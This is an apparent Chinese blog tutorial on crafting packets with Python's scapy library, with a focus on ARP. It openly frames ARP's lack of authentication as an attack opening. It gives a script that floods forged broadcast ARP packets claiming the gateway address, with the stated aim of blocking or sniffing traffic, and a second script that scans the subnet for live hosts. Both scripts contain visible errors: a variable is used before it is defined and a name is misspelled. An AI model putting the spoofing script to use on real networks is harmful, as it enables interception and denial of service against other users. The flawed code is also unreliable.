首页 > 编程语言 >py网络工具编程

py网络工具编程

时间:2024-10-25 21:20:32浏览次数:1  
标签:arp py ip 编程 网络工具 local mac ff 数据包

从各项网络协议开始了解 分析其用途以及攻击价值 通过py构造数据包自动化的实现攻击过程

scapy模块:

该模块非常强大 可以构造绝大部分数据包:
image
image
上图构造了一个tcp的数据包 其分片为零 协议为tcp
image
再次构造一个数据包 通过调用show()查看默认构造数据包结构
image
如何对数据包的属性值进行修改呢,其实很简单
image
在括号中传入对应的值即可

image
尝试构造一个ping的数据包

数据包发出后 ping这个变量被赋值为该数据包的回包

1 ARP协议:

用于多路访问网络的物理地址获取
典型的多路访问网络如以太网中 arp用于mac地址的获取
多点帧中继网络中的 反向arp用于dlci的获取
mgre多点接入的通用路由封装中的 nhrp用于真实ip的获取

arp数据包结构
arp请求
image

arp响应
image

类型号为0806
显然第一个请求包是已知对端的mac的 这是由于本机存在目标的arp缓存
在多路访问的网络中需要逻辑地址和硬件地址的映射 mgre在封装外层头部时会进行nhrp询问对端的真实的ip地址

在每个主机的内部会维持一个arp表项
image

arp的攻击面在于其发包方式为广播 且不进行身份认证 换言之 我可以疯狂发包 将网关的mac地址指向不存在的地址或者为本机地址 实现阻断或者监听数据包的效果:

from scapy.all import *
import socket

des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())

def arp_redirector():
    p1=Ether(dst="ff:ff:ff:ff:ff:ff",src=loacl_mac)/ARP(pdst=des_ip,psrc="192.168.0.1")
    for i in range(6000):
        sendp(p1)
        time.sleep(0.1)

或者arp不断修改请求对象的ip地址 观察有无回包实现同网段的地址扫描:

from scapy.all import *
import socket

des_ip=f'{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.{local_ip.split('.')[2]}.0/24'
loacl_mac = 'C8:5E:A9:2F:D7:5D'
local_ip = socket.gethostbyname(socket.gethostname())

def arp_scan():
    res=[]
    result = srp(Ether(src=loacl_mac,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=des_ip),iface='Intel(R) Wi-Fi 6E AX211 160MHz',timeout=2)
    ans,_=result
    print(f'主机存活情况为{len(ans)}\n')
    for _,i in ans:
        res.append([i[ARP].psrc,i[ARP].hwsrc])
    for ip,mac in res:
        print(f"ip:{ip}     mac:{mac}")

image

标签:arp,py,ip,编程,网络工具,local,mac,ff,数据包
From: https://www.cnblogs.com/fr09/p/18496212

相关文章

  • 10.25Python_pandas_函数(1)
    二、函数1、常用的统计学函数函数名称描述说明count()统计某个非空值的数量sum()求和mean()求均值median()求中位数std()求标准差min()求最小值max()求最大值abs()求绝对值prod()求所有数值的乘积案例:#创建一个示例DataFramedata={'A':[1,2,3,4,5],......
  • 用python绘图-散点图/直方图/概率密度图
    项目用到的文件:一、代码解释:drawing01.pyimportdash#Dash是用于构建分析型Web应用的Python框架,由Plotly开发fromdashimportdccfromdashimporthtmlfromdash.dependenciesimportInput,Outputimportpandasaspd#尤其适用于表格数据和时间序列数......
  • WINCC VBA编程练习10
    这一篇学习笔记在新浪博客发表过,这里再次记录一下。歇了一段时间没有做WINCC环境下VBA学习,今晚继续。新建下面的VBA脚本SubAddTrendctrl()'画面上添加趋势控件Dimi,objTrendSetobjTrend=ActiveDocument.HMIObjects.AddActiveXControl("trend","CCAxOnlineTrendContro......
  • python+flask框架的基于微信小程序的非法集资案件登记平台前台8(开题+程序+论文) 计算
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着互联网技术的飞速发展,微信小程序作为一种轻量级的应用形式,已广泛应用于各行各业。在打击非法集资案件的过程中,传统的登记方式存在效率......
  • python+flask框架的基于微信小程序的高校实验室考勤管理系统的设计与实现前端8(开题+
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景关于高校实验室考勤管理问题的研究,现有研究主要集中在传统考勤系统的设计与实现上,如基于RFID、指纹识别等技术。然而,随着移动互联网技术的......
  • python+flask框架的基于微信小程序的高校食堂在线预约点餐系统的设计服务端视频8(开题
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着移动互联网技术的迅猛发展,高校学生的生活方式和学习模式正发生着深刻变化。特别是在餐饮消费方面,学生群体对便捷性、个性化和高效性的......
  • 【Python中的字符串处理】正则表达式与常用字符串操作技巧!
    Python中的字符串处理:正则表达式与常用字符串操作技巧Python在字符串处理方面提供了丰富的内置功能和模块,能够帮助开发者处理各种复杂的文本操作。无论是简单的字符串拼接、替换,还是借助正则表达式(re模块)实现的模式匹配,Python都有强大的工具可以让我们高效处理文本数据......
  • 【Python中的内置函数】max、map、zip等函数的实用技巧!
    Python中的内置函数:max、map、zip等函数的实用技巧Python提供了丰富的内置函数,帮助开发者高效编写简洁的代码。在这篇文章中,我们将详细探讨几个常用的内置函数,如max、map和zip,并展示如何在实际项目中灵活运用这些函数。本篇将结合代码示例,深入探讨它们的使用技巧,帮助你......
  • python+flask框架的基于微信小程序的电影推荐系统前台mp48(开题+程序+论文) 计算机毕
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着互联网技术的飞速发展,在线电影观看已成为人们休闲娱乐的重要方式之一。微信作为中国最大的社交平台之一,其小程序平台凭借其轻量级、即......
  • python+flask框架的基于微信小程序的电影推荐系统后台8(开题+程序+论文) 计算机毕业设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容选题背景随着移动互联网技术的飞速发展,智能手机已成为人们日常生活中不可或缺的一部分。微信小程序作为微信生态系统中的重要组成部分,凭借其无需下......